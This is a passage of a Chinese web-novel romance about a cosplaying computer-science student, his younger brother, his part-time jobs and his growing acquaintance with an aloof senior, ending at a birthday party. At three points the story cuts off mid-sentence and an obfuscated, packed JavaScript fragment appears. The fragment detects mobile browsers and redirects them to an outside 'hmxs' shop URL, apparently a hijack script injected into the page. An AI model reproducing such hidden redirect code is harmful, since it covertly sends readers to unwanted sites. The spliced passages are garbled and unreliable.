说实话,田皓宇觉得江晨情绪真是够稳定了,对方嘴那么贱他都没有真的动手,只是把人逼到墙角,一拳砸过去砸在了墙上,架没打起来,那傻逼倒是被他吓了一跳。 这事后来让班主任知道了,江晨是老师最喜欢的那类优等生,这种差点跟人打起来的情况在班主任眼里已经是挺出格的行为,得知此事立马把他叫过来询问情况。 班主任出发点是好的,她是关心江晨,偏偏江晨对谁都设防,没人能让他主动交心。 江晨父母都不在了,现在名义上的监护人是他叔叔,班主任联系他本意是想让他跟孩子好好聊聊,毕竟师生隔着一层,他们做家长的跟孩子要更亲近些。 江洛沉默良久,起身走到江晨身边,摸了摸他的脑袋,只说了一句:“孤什么儿,你还有我呢。” 江晨转头看着他:“我知道,哥。” “以后再有什么事,不可以瞒着我,也不可以骗我。”江洛强调,“不管什么事。知不知道?” “哦。” “哦什么哦,”江洛弹了弹他额头,“态度诚恳点。” “嗯。”江晨低眉顺眼,“我知道了。” 江晨和田皓宇出去打球了,江洛在家也没闲着,把自己关在书房刷算法题。 江晨回来的时候江洛还在书房,江洛做题的时候注意力很集中,江晨敲门他都没听见。江晨敲了下门发现没人应,就猜到他哥应该在刷题,就没进去打扰他,去干别的事了。 江洛刷完题晃着脑袋从书房走出来,在电脑桌前坐太久脖子都僵了,他转了转脖子活动颈椎,走进客厅看到江晨在阳台晾衣服。 “回来啦?” 江晨回头看了眼:“回来好久了。” “也不出个声。”江洛往沙发上一扑,大大地伸了个懒腰。 “敲门了,你没听见。” “我刚刷题呢,没注意。”江洛把脸埋在靠枕里,声音懒洋洋的,“江小晨,给捶捶背。” 这人在家就没个哥样,小孩儿似的,不见得有江晨稳重。 “哦。”江晨坐过来给他捶背。 “脖子捶捶……”江洛声音渐低,听着像是快睡着了。 “哥。”江晨叫了声。 江洛昏昏欲睡:“……嗯?” “你以后不用每次都回来看我。” 江洛睁开眼睛,转头看向他。 “也别老给我钱。我在学校花不了什么钱,有钱你自己留着,不要给我。” 江洛拨开他的手,转身坐起来,看着他问:“你不想我回来啊。” 江晨摇头:“我是不想你牺牲自己的周末时间回来。” 虽然江洛上学的城市离他们住的城市不远,来回坐高铁也很方便,但每两周就回来一趟对江洛来说肯定还是比较麻烦的。江洛有自己的大学生生活,总不能一直围着他这个弟弟转,江晨希望他哥把可支配的时间留给自己。 “这话说的,什么叫牺牲啊。” 江晨抿了抿嘴:“反正我就是不想你把时间都浪费在我这,别我一放假你就回来,你干干自己的事,不用经常回来看我。” 江洛明白他弟的意思,他笑着问:“我不回来谁管你啊?” “我自己能管自己,我也不是小孩了。这件事我跟你提过很多次了,你从来没听过。” 江洛从来都尊重江晨的决定和想法,就这一件事他没顺着江晨的心意来,江晨刚上高一的时候他也刚上大学,第一次离江晨那么远,江晨每次放假他都回来。这一年过去了,江晨早就适应高中的节奏,也早就跟江洛提过不用经常回来看他,江洛一直没把他的话当回事。 江晨看着有点不高兴了,江洛说:“那我不回来就是叔叔他们一家子管你,你乐意去他家吃饭啊?乐意跟那俩双胞胎待着?不嫌烦人呢。” “吃个饭而已,待不了多长时间。也不是没跟他们一起吃过饭。”江晨拿了个靠枕抱在怀里,皱着眉说,“我就是不想跟个累赘一样拖着你,我想你轻松点。” “你没拖着我——” “那你敢说没因为我牺牲掉自己的一部分可支配时间吗。” “我天。”江洛笑了,“嘴皮子什么时候这么溜了江小晨,还可支配时间……” 江晨盯着他不说话,江洛无奈地笑笑,坦言道:“我不敢说。因为确实是你说的这样,但你是我弟,在我这其他事当然是排在你之下的。” “那你能把你自己排在我上面吗?” 江洛晃晃脑袋,想了好久,最后笑着点头:“可以。” “这是你说的。” “我说的,以后我怎么高兴怎么来,有时间就回来,没时间我就不回来。可以不?” 江晨满意了:“嗯,说话算话。” 第二天下午,江洛把江晨送去学校后就坐车返校了。 江洛的大学日常很充实,平时除了上课打工,还要抽空去实验室刷题训练。他是计算机系的,大一的时候报名进了学校的acm竞赛队,打过蓝桥杯,也跟着校队参加过icpc邀请赛,他喜欢算法,打acm比赛对他来说既是挑战也是爱好。 他们校队不算强队,但要进队也不容易,不是随便报个名就能进了,得先通过选拔赛。大一就能进校队的学生少之又少,江洛是他们校队能参加正式比赛的队员里年纪最小的一个。 这周六江洛有一个cos委托,约的是中午,上午闲着,他化完妆穿着一身cos服就去校队实验室刷题了。 江洛的这些委托都是他之前接的,那时候他在cos圈还没什么名气,账号粉丝也不多。江洛缺钱,是程嘉树给他提建议,说他那张脸完全可以接委托赚钱。江洛就试着在账号发了委托条,挂了几张自己cos过的角色照片,谁承想挂上去没多久就立刻有好多人私信他。 江洛只发过那一次委托接单的帖,目前接的单都是之前欠的债。现在他账号粉丝多了,更不可能开放委托了,没名气的时候单子都接不过来,更别说现在了。 上午校队实验室没人,江洛一个人安安静静地在座位上刷题,队长秦一帆咬着包子从外面走进来,看见电脑后面一个粉色的毛茸茸脑袋,惊讶地“嚯”了一声。 江洛做题专注,听见声音吓了一跳。 秦一帆朝他走过来:“我就知道是你。” 江洛笑道:“队长,你吓我一跳。” “你也帅我一跳。”秦一帆打量了一番江洛今天的cos造型,是他认识的动漫角色。江洛混二次元玩cos他早有耳闻,不过今天还是第一次亲眼见到。 秦一帆凑近看他的脸:“你这妆是自己画的?” 江洛笑了下:“是啊。” “这么牛。” 秦一帆叼着包子,包子香飘江洛一脸,江洛没吃早饭,肚子不争气地“咕噜”一声。 “没吃早饭啊?”秦一帆往他桌上扔了个包子。 江洛拿起包子撩开包装袋啃了一口,笑眯眯地说“谢谢”。 “今天怎么整这造型?”秦一帆问他,“要去漫展啊?” 江洛咬着包子说:“不去漫展,我约了人。” “约会啊?” “不是约会。” 秦一帆坐回自己的位置,又往江洛桌上推了盒牛奶过去。江洛笑着问:“干嘛啊队长,上午不过了啊。” 秦一帆说:“还是你乖,大周末的还上实验室来刷题,奖励你一盒牛奶。” 秦一帆是他们校队的队长,算竞狂魔一枚,算法竞赛在他眼里是排第一的存在。江洛是竞赛队的新鲜血液,大一就跟着队里的前辈一起打比赛拿过奖,秦一帆作为队长一直对他寄予厚望。 江洛不仅人聪明,训练还用功,周末上午实验室一般是没人的,秦一帆这个实验室常驻人口却在这个时间点撞见江洛好几次了。 “谢谢队长。”江洛不客气地拿过牛奶,戳开吸了一口。 “不用客气。”秦一帆专注投喂,又从抽屉里翻出几包牛肉干,“牛肉干吃不吃?” 江洛手里包子还没吃完,含糊不清地说:“吃。” “吃吧。”秦一帆往他桌上扔了一把牛肉干,“我们全村的希望。” 江洛一脸懵:“我怎么又成全村的希望了。” “队里一群老人,就你一个小朋友,可不就是全村的希望。” 江洛乐了:“你这话说得也太夸张了。” 江洛下午三点就结束了委托,回校途中接到了一通电话,是他兼职咖啡店的店长打来的,店长说今天店里接到个大单,附近的一家公司组织员工下午茶,一单点了一百多杯咖啡,店里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797968|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人手不够忙不过来了,问他有没有空过来帮忙。 江洛在咖啡店是兼职,通常是周末去,每两周去两天,薪资也是日结的。他们店周末的客流量大,所以也缺人,除了他,店里还有其他兼职的大学生,今天他跟人换班了,没去店里上班。 江洛接了电话就直接去了咖啡店,cos的那一身装扮都没换。店里人流量跟平时周末差不多,但店员都在赶做那一百多杯咖啡,柜台后面忙得不可开交。 江洛一进来就被店里的客人行了注目礼,这次的cos装扮比上次夸张得多,发型、妆容和服装都非常不日常。店长忙走过来,盯着江洛直看,眼睛都瞪圆了:“我天,这什么造型啊。你从漫展过来的?” 江洛摸了摸脖子,不好意思地笑笑:“你说着急,我就直接过来了,没回去换衣服。这么穿是不是不太合规矩?我要不回去换身衣服再过来吧。” “你这傻小孩,谁跟你这么说了。”店长端详他一番,“你就这样,这多帅啊。哎哟,真的帅,特别酷。” 店长是个三十出头的姐姐,平时对店员随和热情,没有一点老板架子。 “店长,我今天可能没办法在这待太久,晚上我还要去家教。” “几点啊?” “七点半。” “行,那你六点走,OK不?” “OK。” 江洛去后厨拿自己的围裙,还没穿上就被店长拉到柜台这了,店长把他的围裙收走,把点单和收银的任务交给了他:“今天你就站这营业,别去后头做咖啡了。” 店长的目的昭然若揭,旁边忙着打包的店员笑道:“老大你还嫌今天客流不够多啊,还让洛洛站这儿引流。” 店长拍拍江洛的肩膀:“这么帅就应该站在这给人看,去后面做咖啡这不浪费了。” 于是江洛就成了咖啡店里一道靓丽的风景。 事实证明店长的决定是正确的,他们店的店门是玻璃的,窗户也是落地窗,从外面能看见里面的光景,江洛光是站在那就吸引了一群路过的行人。 这边靠近大学,今天又是周末,附近学生多,看见店里有coser自然而然就进来了。江洛的脸摆在那,又特别会营业,笑起来眼睛弯弯的,谁进来能不消费一杯再走。 眼见订单越来越多,后台狂做咖啡的员工哀嚎道:“一剑杀了我吧。” 店长一句话稳定军心:“今天工资三倍给。” 众人立马被哄好了。 “奇了怪了,今天店里怎么这么多人。” 顾时越和室友走进咖啡店,室友纳闷地往柜台看了一眼。这是他经常光顾的咖啡店,第一次见店里有这么多人。柜台那排着长队,挤满了人。 “什么情况?”室友隐隐约约看见人堆后面有一个粉色的毛茸茸的脑袋,“今天有活动?” 顾时越也注意到了那一头粉毛,他个子高,不仅注意到了那头粉毛,还注意到了粉毛底下的那张脸。 尽管江洛这次的妆容偏浓,几乎模糊了他原本的样貌,顾时越还是凭那双弯弯的笑眼一眼认出了他。 室友见店里人这么多原本都想叫顾时越走了,结果一偏头看见柜台那儿站着个超帅的coser,顿时站住了脚,新奇道:“好帅的coser。” 江洛忙得一个人能掰成三瓣用,今天店长把能呼的兼职工都呼来了,江洛旁边来了个帮手,穿上围裙惊奇地看着他:“哇噻啥情况,cosplay啊?” 江洛忙着敲单子,“啊”了一声。 “你去漫展了啊?” “没有。” “那你咋穿成这样?” 江洛随口回了一句:“我找人玩去了。” 江洛低头打单,余光扫到面前的人影,条件反射地开口:“您好,请问需要——” 江洛一抬头就没声了,呆呆地看着面前的人,表情有点懵。 顾时越微微垂眼看着他,点了两杯咖啡。 江洛张了张嘴,差点没反应过来:“……好的,您稍等。” cos成这样,不是去漫展,而是去找人玩了。 顾时越看着那一头毛茸茸的粉色头发,忽然开口:“又是委托?” 江洛抬头看了他一眼,弯着眼睛浅浅一笑,小声道:“是啊。” 顾时越是个边界感极强的人,所以他其实不太能理解江洛的这种赚钱方式,打扮成另一个人跟一个不认识的陌生人交流、接触——虽然这看起来对面前这个男生来说并不困难。 平时边界感挺强的一个人今天不知道怎么边界感突然就变弱了。 顾时越漫不经心地开口道:“你倒是跟谁都玩得来。” 7.第 7 章 江洛愣了愣。 顾时越说这话不是在阴阳怪气,语气很平淡,听不出任何情绪。江洛猜他可能是误解了,又猜他大概是不太能理解“cos委托”这件事。 毕竟这位学长挺有距离感的,给人感觉就是很高冷很正经,可能思想也比较保守。 江洛歪了歪脑袋,小声问:“学长,你这是夸我啊还是损我啊。” 他直视顾时越,眼睛亮亮的。 眼前这张脸跟顾时越上次见到的那张几乎对不上,妆容不一样,气质也完全不同。惹眼的粉发,眼下的面纹,明明是挺夸张的妆造,却透着股少年感。 顾时越直言:“不是夸也不是损。” “这样啊……”江洛顿了片刻,而后盯着他,一脸认真地解释,“学长,我是正经人。” 这句话让顾时越疑惑了一秒。 江洛说着又补充了一句:“我也没有跟谁都玩得来。” 江洛只猜对了一半,顾时越并非对他有误解。 顾时越反应过来:“哪里说你不正经了。” 江洛眨眨眼睛,声音低低的:“我还以为学长你想多了呢……以为你当我接委托是干啥不正经事呢。” 顾时越问他:“谁想多?” 江洛“唔”了一声,做出一副思考的模样:“……看来是我吧。” 顾时越点头:“知道就行。” 江洛没忍住笑了一声。 要不是顾时越点了两杯咖啡,江洛还真没时间在这跟他闲聊。 “什么情况?”站顾时越身后的室友终于有机会插话了,他问顾时越,“阿越,你们认识啊?” 顾时越连江洛的名字都不知道,两个人只是见过两次,严格来说算不上认识。 顾时越说:“不算认识。” 顾时越点的咖啡做好了,江洛打包好递给他。顾时越拿出手机要结账,江洛说:“单我已经买了,咖啡算我请你的,谢谢学长上次在地铁帮我。” 顾时越说:“不用你请。” “用的用的,码我已经扫了,咖啡你直接拿走吧。” “那么点小事,没必要。” 江洛笑了笑:“我觉得挺有必要的。” 不仅是地铁那件事,还有顾时越帮他拍的视频,江洛是实实在在从那条视频获得了一大波流量的。顾时越帮他的忙可不小。 说话间,顾时越身后走过来一人,是项勤,刚才他在外面接电话,这会儿才进来。顾时越点的那两杯咖啡里有一杯就是他的。 项勤差点没认出来江洛,笑道:“学弟?” 江洛笑着打了声招呼:“学长。” 项勤从上到下看了看他:“差点没认出来,你怎么每次出现都这么万众瞩目的。” “我平时还是挺低调的。”江洛开玩笑道,“偶尔高调一下正好都让你碰到了。” 项勤被他逗笑了,他看了眼顾时越说:“我说你怎么亲自来点单呢,原来是碰到熟人了。” 顾时越没说话,江洛看着他眨了眨眼睛。 江洛在工作,那么忙,项勤跟他没聊两句,顾时越就示意他们该走人了。 江洛定了六点的闹钟,顾时越他们刚走闹钟就响了。店长叫来的另一位兼职工就是来替江洛的,到点江洛跟店长打了声招呼就下班了。 顾时越他们几个没走多远,咖啡店离他们学校很近,隔了一条马路的距离。项勤和顾时越说着话回头看了一眼,正聊江洛呢,回头是往咖啡店方向看的,正好瞧见江洛从店里走出来。 项勤停下脚步,朝江洛招招手。 三个人停在原地,项勤还想跟江洛说说话呢,有意停下来等他。 江洛朝他们走了过去,他还得赶回去卸妆换衣服,步伐很快。 “下班了?”项勤问他。 “是啊。” “阿越说今天这咖啡是你请的,我们白白沾了你的光啊。”项勤笑了笑,“这次就笑纳了,下次我请你。” 江洛也不跟他客气,笑着说:“好。” 项勤有点纳闷:“我还挺常去那家咖啡店的,怎么从来没在那见过你?” 江洛笑了下:“见过也不一定记得啊。” “这话说的,长这么帅见过肯定有印象,你太面生了,我确定我之前没见过你。” “我在那边是兼职,不常去,而且我平时不在前台收银,那不是我的工作岗位。今天是情况特殊。” “那难怪了。” 这家咖啡店项勤和他几个室友常去,不算上顾时越,顾时越很少喝外面店里做的咖啡,他基本没来过,今天是正好跟他们路过这里,被薅了两杯咖啡,结果还薅在江洛头上了。 江洛着急回宿舍,没跟他们多聊:“学长我先走了啊。” 项勤看他着急忙慌的,问:“怎么了,有急事啊?” “啊,我一会儿要去家教,得回去换个衣服。” “才刚下班又要去家教?你这兼职排得也太满了。” “没办法。”江洛半认真半开玩笑道,“生活所迫么。” 顾时越闻言看了江洛一眼。 江洛急吼吼的,打完招呼就走,没走多远还回过头来挥挥手,朝着顾时越说了声“学长再见”。 下周五是戚雪影的生日,她请客吃饭,江洛和程嘉树都收到了邀请。本来下周末该是江洛回家的日子,那次跟江晨聊过之后他就把江晨的话放心上了,没事就回,有事就不回,尽量把可支配时间留给自己。 这周五要去参加戚雪影的生日聚会,江洛没回去,提前跟江晨说了。他第一次在江晨放假的日子没回去,心里还有点不自在,掐着江晨放学的时间点给他打了通电话,问这问那。 “我不在家,谁陪你玩啊。”江洛可怜巴巴地说。 “有田皓宇,他陪我玩。”江晨说。 “哪有我陪你好玩呢。” 田皓宇就在江晨旁边,抓过手机直嚷:“哥,我也好玩着呢好不好啊!” 江洛笑得不行。 一通电话打了十分钟,江晨平时话可少了,也就对着江洛什么话都接,江洛话多,这电话就总挂不了。 程嘉树和江洛在一辆车上,正往戚雪影那儿去,程嘉树坐旁边听江洛跟他弟打了一路的电话。 “我靠,你们俩可真能聊啊。”程嘉树感叹了一句,“小晨啥时候这么能说话了,孩子长大了啊。” “那可不,跟我一直有话说。” “那是你话多。” “你好意思说这话。”江洛笑起来,“谁能有你话多啊。” 程嘉树“哼哼”两声:“承让了。” 今天戚雪影生日,顾时越也收到吃饭邀请了,他没去,托人把礼物送去了。这天晚上快十一点的时候,顾时越洗好澡在客厅看书,忽然接到了戚雪影妈妈打来的电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802412|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “阿越呀,你跟雪儿在一块儿吗?”他姑姑的声音听着有点着急。 “没有,”顾时越合上书,“怎么了姑?” “这孩子,说好十一点回家的,我给她打了好几通电话都没人接。别是出了什么事吧?我这心里啊突突突直跳。” 顾时越看了眼墙上的钟,还没到十一点,这个时间对年轻人来说根本算不上晚,何况戚雪影都那么大的人了,今天生日聚餐,那么多朋友聚一起玩闹,晚归很正常。 可偏偏戚雪影妈妈是个“女宝妈”,不仅疼女儿,还黏女儿,超过四个小时联系不上女儿就心慌了。戚雪影没接电话,她在家急得团团转,第一时间想到求助顾时越。 顾时越安抚他姑姑:“您别着急,我打个电话给她。” “她说了十一点回来的,以前都是说几点回就几点回,从来没说不接我电话的。” 顾时越一边听他姑姑说一边拿座机给戚雪影打了通电话,没打通。 他姑姑更着急了,温温柔柔一位女士,讲话轻声细语的,这会儿慌得声音都有点抖。顾时越起身道:“别急,我现在去找她,您等我电话。” “哎哎行!你路上要小心点呀,阿越。” 顾时越知道戚雪影在哪儿聚餐,他换了衣服开车过去,路上又给戚雪影打了通电话,还是没人接。 车开到一栋带院子的别墅,院子里挂着五颜六色的彩灯,屋里也灯火通明,隐约传出五音不全的唱歌声。 顾时越直接走了进去,客厅坐着两个女生在聊天,歌声是从楼上传下来的。客厅那俩人看了顾时越一眼,她们都是戚雪影的朋友,顾时越问她们:“戚雪影呢?” 两个女生本来盯着他在看,听他突然间这么一问都愣住了,一时间没反应过来。其中一个女生回过神,讲话有点磕绊:“应、应该在楼上唱歌呢。” 顾时越礼貌道:“谢谢。” “啊。”女生脸一红,“……不客气。” 二楼有个KTV大包厢,一帮人闹完聚在这唱歌,戚雪影今天叫了很多同学和朋友,还有一些cos圈的好友。好几个人江洛都认识,都是一个圈子里的,线上有联系,线下活动也会凑一块玩。 江洛刚才玩游戏输了,喝了两听啤酒,头有点晕乎乎的,跟人聊天脑子有点跟不上,反应慢半拍。人家跟他聊得火热,他眨着眼睛光傻笑,接不上话。他觉得自己得去洗手间醒醒神,便起身跟他对面的人:“我去个洗手间。” 不知道是不是房里人多,空气不流通,江洛确定自己没喝多,但是一站起来头竟然有点晕,走路双腿都打晃。 他晃晃悠悠地走到门口,身后有人打趣他:“是不是醉了呀洛洛?两听啤酒就把你撂倒了呀,这是什么baby酒量哟。” 江洛把门拉开,回头笑着说:“我还没倒呢,你别歧视baby。” 江洛一边说话一边转头往外走,没注意到门外有人,一回头就撞上了顾时越的肩膀。江洛眼前一黑,鼻尖蹭到了柔软的衣服布料,一股淡淡的香味扑进鼻间。 这一下撞得毫无防备,江洛鼻子都撞疼了,他吃痛地“唔”了一声,睁开眼抬头一看。 顾时越垂眸与他四目相视。 男生的脸近在咫尺,眼里透着茫然与诧异。他盯着顾时越,眼睛眨个不停,长长的睫毛忽闪忽闪。 江洛张了张嘴:“学……学长。” 8.第 8 章 江洛今天来参加生日聚会,穿得很日常,白色卫衣加宽松牛仔裤,没穿cos服也没化妆,这是顾时越第一次看到他皮下的模样,没戴假发,素颜便服。 江洛本人的长相气质跟他之前cos的那两个角色并不相似,五官还是那个五官,精致又立体,只是完全素颜的面孔看着更显小了。 他本身的头发是顺毛,气质显乖。卸了妆的皮肤更为白皙,原生瞳色和发色都偏浅,整张脸看起来有一丝混血感。 房间里彩灯四射,灯光忽明忽暗,闪动着从江洛脸上掠过。 这是原原本本的江洛,第一次与顾时越照面。 江洛今天反应真的有点慢半拍,叫完“学长”还望着顾时越愣神。他喝了酒,脸颊红扑扑的,刚才那一下撞得太结实了,鼻头也红红的。 顾时越垂眼看着他:“撞疼没?” 江洛回过神,摇摇头:“没有没有,不好意思啊,我刚跟人说话没看见你。” 说着他往后退了半米,刚才一直在发愣都没意识到自己几乎是贴着顾时越。 顾时越往屋里扫了一眼,里面的人都看着他这边,来了个新面孔,都有点好奇。顾时越看了一圈没看见戚雪影的身影,他问江洛:“戚雪影呢?” 江洛回头看了看,想起来道:“她刚出去了好像就一直没回来。” 里面有个女生说:“她去洗手间啦。” “去这么久。”江洛嘀咕了一声,头探出门外看了一眼,不远处有个女生甩着手走过来,看样子应该是刚从洗手间过来。 江洛问她:“小桃,你看见影总了么?她在洗手间么?” 女生走过来道:“没有啊,我没看见她。” 顾时越没再逗留,转身要去找人,江洛问他:“学长,你打她电话了么?” 顾时越说:“没人接。” 江洛低头思索片刻,猜测:“她会不会窝哪儿睡着了啊。” 二楼三楼都有供人休息的房间,江洛走去洗手间旁边的房间看了一眼,房门半开着,屋里灯也亮着,他上前敲敲门:“有人吗?” 屋里没人应,江洛推开门往里面看了一眼——果不其然,戚雪影真找了个地方窝着睡觉了。 戚雪影侧躺着睡在床边,没盖被子,睡得很安稳。她大概是进屋就躺下了,灯没关,门也没关。 江洛走过去戳戳她的肩膀,小声叫她:“影总,醒醒。” 戚雪影眉心皱了皱,没醒。 顾时越没那耐心,直接走到床边叫她的名字:“戚雪影。” 顾时越就是正常音量,但肯定比江洛的声音大,戚雪影被这一声“戚雪影”惊醒了,猛地睁开眼。她迷迷糊糊地看着江洛和顾时越,表情有点懵。 戚雪影愣了好一会儿才回过神:“……哥?你怎么在这?” “清醒没有?”顾时越说,“清醒了给你妈打个电话。” “……我天。”戚雪影赶忙拿出手机,一看已经十一点了,屏幕上有好几通他妈的未接来电。 戚雪影立马给她母亲大人回了电话。解释情况,把妈哄好,戚雪影挂掉电话长呼一口气。 她今天喝了不少酒,昏昏欲睡的,刚才从洗手间出来实在是走不动道,就想找个地方躺下。结果一躺就昏睡过去了,睡到现在。 人已经找到,顾时越打算离开。转身往外走的时候,戚雪影赶忙叫住:“来都来了,吃块蛋糕再走啊,我正好要回去切蛋糕。” “我不吃。”顾时越说。 戚雪影早猜到留不住他,问:“哥,你怎么来的?” “开车。” “那你等会儿再走呗。”戚雪影已经跟她妈说好十二点回去,“反正还有半小时就散了。” 顾时越看她一眼:“你已经浪费了我一小时的时间。” 戚雪影不好意思地笑了笑:“那也不差这一会儿了么,我主要是想拜托你顺路送两个人回去——两个你的学弟。” 江洛一愣,戚雪影的目光已经看过来了:“他们俩今天都喝酒了,这么晚了打车也不方便。” 顾时越看了眼江洛,江洛看着他呆呆地眨了眨眼,戚雪影话说一半,顾时越就应下了:“知道了。” 戚雪影有点意外,她知道顾时越八成不会拒绝,只是没想到他答应得这么干脆,她话都还没说完呢。 江洛忙拒绝:“不用不用,我们自己回去就好了。” 戚雪影说:“大树刚喝了不少吧,说话都大舌头,你俩一起回去我不放心。” 江洛笑着说:“你不放心他还不放心我啊,我清醒着呢。再说我们俩也不是女孩子……” “你别管啦,就这样了,一会儿顾学长送你俩回去,他就住你们学校附近,顺路就到了。现在都这么晚了,你们俩还不一定打得到车。” 戚雪影回去招呼朋友,因为要分蛋糕,她叫顾时越一起过去,跟他说:“蛋糕可以不吃,祝福你总得送我吧,我还没吹蜡烛许愿。” 这理由让人没法回绝,顾时越本打算去车里等着,最后还是跟她一起过去了。 三个人一起回了唱歌的大包厢,戚雪影联系别墅管家送蛋糕,刚坐下就被一个同学拉到身边,同学看着顾时越的方向,在戚雪影耳边小声问:“诶雪儿,那个人是谁啊?你朋友?男朋友?” 戚雪影笑了:“别乱猜,那是我表哥。” “我天,你有这么帅的表哥?我怎么都不知道?”同学抓住她的胳膊,“那什么他有没有女朋友啊?” “应该没有吧。” “什么叫应该没有呀……” “有他也未必会告诉我啊,我又不会没事问他这个。” “你这真是……”同学晃晃她的胳膊,“你现在去问问呗。” 戚雪影笑着摇了摇头:“自己去。自己动手,丰衣足食。” “哎呀不行,我怎么问呀,你就帮我去问问么,好不好好不好好不好……” 戚雪影拿她没辙,给顾时越拿了瓶饮料过去,顺便打探情况。 顾时越说:“不喝。” 戚雪影无奈一笑:“我主要是过来打探情报的。” 顾时越看她一眼。 “我同学托我问问你,有没有女朋友。” 顾时越脸上没什么表情,不答反问:“月老的活你也干?” 这话一听就没戏,有没有女朋友都没戏,戚雪影早知道,只是架不住她同学软磨硬泡。 戚雪影失笑:“这我可不干。只是不来一趟她能一直在我耳边念经,遭不住。” 戚雪影回去交差了,话说得很委婉:“他目前还没谈恋爱的打算。” 同学叹息一声:“唉,我就知道。你表哥一看就是那种很难追的人……”说着又感叹起来,“哎太帅了……真的好帅。” 戚雪影笑了声:“那你还让我去问。” “就问问呗。”同学搂着她的胳膊往她肩膀上一靠。 江洛刚回来屁股还没坐热就被程嘉树薅过去玩游戏了,他不想玩,就坐一旁刷手机。有位朋友先前输得太狠,喝了不少酒,很明显醉了,拿着话筒坐那儿一展歌喉,点的是一首男女对唱的曲目,唱得相当忘我。江洛就在他旁边,手里突然被这小哥塞了个话筒:“来来来,洛洛,咱俩一块儿唱。” “这首我不会,奇哥。”江洛笑着说,“你单人独唱吧。” “啧,我带你唱啊。来,你唱男的,我唱女的。”说罢此人掐着嗓子唱了一句女声部分的歌词。 唱得不难听,就是画面有点滑稽。旁边有人笑起来:“我可求求你了,放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806997|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的耳朵吧。” 江洛不怯场,他不唱是因为他真不会唱,调都不知道。而且他已经累了,现在什么都不想干,就想坐着。 “怎么不唱呢你,还不好意思啊。”这人把话筒递到江洛嘴边。 “我真不会唱,奇哥。你放过我。” “不行,不放。”人喝多了力气也会变大,江洛被他搂住脖子挣不开,“你不唱也得给我一个理由。” 江洛笑得无奈:“理由就是我不会唱啊。” 喝醉的人就是这样,梦到哪句说哪句,前言不搭后语。 都是关系挺好的朋友,较真起来容易伤和气。江洛只能顺着他接话,费了好大劲把他胳膊掰开了,他又闹脾气了:“你是不是不乐意跟我唱啊洛洛。” 旁边有人拍了他一下:“撒什么酒疯呢你,人都说了不会唱,发神经啊你。” 他不理会,直直地盯着江洛:“你就是不乐意跟我唱。” “我……”江洛有口难辩,跟醉鬼真没法讲道理,他有点不知道该怎么应付现在这个情况了。喝多的人要是不顺着他十有八.九会闹起来,江洛脾气好,对朋友包容,他的行事作风就不是强硬那一挂的。 “江洛。”旁边突然传来一道声音。 熟悉的低沉嗓音,江洛一愣,随即转过头。 顾时越坐在一旁,周围没什么人的角落,看着他说:“过来。” 江洛下意识就站起来了:“……怎么了学长?” “有话跟你说。” “啊?”江洛有点懵,“噢,好。” 江洛刚迈出去一步就被奇哥拽住了胳膊:“你干嘛去啊,歌还没唱完呢。” 顾时越视线扫过来,眼神和语气都淡淡的:“我说了,我有话跟他说。” 顾时越给江洛提供了脱身的契机,江洛顺势对奇哥说:“奇哥,人家找我说事。我过去一趟,你先唱着。” 醉鬼的脑回路是比较奇怪的,这么一说,奇哥还真消停了,松开他点点头道:“去吧,不耽误你说正事,说完就回来啊。” 江洛走到顾时越旁边:“学长,你……要跟我说什么啊?” “没什么。”顾时越拿起桌上还没开的矿泉水,拧开盖子喝了一口,顿了片刻,抬眼看向他,“帮你找个理由而已。” 江洛蓦地笑了:“我就知道。” 刚才他就猜到了,顾时越忽然叫他,八成是替他解围。 “谢谢你啊学长。”江洛笑着说。 江洛还杵在那儿,顾时越朝右手边偏了偏头,示意他坐这边。 “好的。”江洛乖乖往他旁边一坐,两只手搭在膝盖上。这个位置离奇哥挺远,中间还隔了个顾时越,是个安全又安静的区域。 短暂的沉默之间,氛围莫名有点尴尬,顾时越说没话还真的没话。江洛不知怎么的,莫名笑了一下,手指戳戳膝盖,说:“原来你真的没话跟我说啊。” “有。”顾时越突然说,“不是好话。要听吗?” “啊?”江洛眨了下眼睛,忽然就笑了,“你说,好话坏话我都听。” 顾时越说:“跟醉鬼废那么多话。” 江洛先是一愣,随即笑弯了眼:“要是不废那么多话估计得闹起来了,那可不好。不过他刚才要是不放我过来,我应该也不会再跟他废话了,我该怎么怎么。” 顾时越淡淡道:“是吗。” “是啊,我又不是没脾气。”江洛笑眯眯的,“再说学长找我说话我怎么能不过来。” 顾时越侧过头看了他一眼。 江洛歪过头看着顾时越:“学长,你怎么知道我名字?” “项勤说过。” “那我能知道你的名字吗?” 顾时越沉默片刻,说:“顾时越。” 9.第 9 章 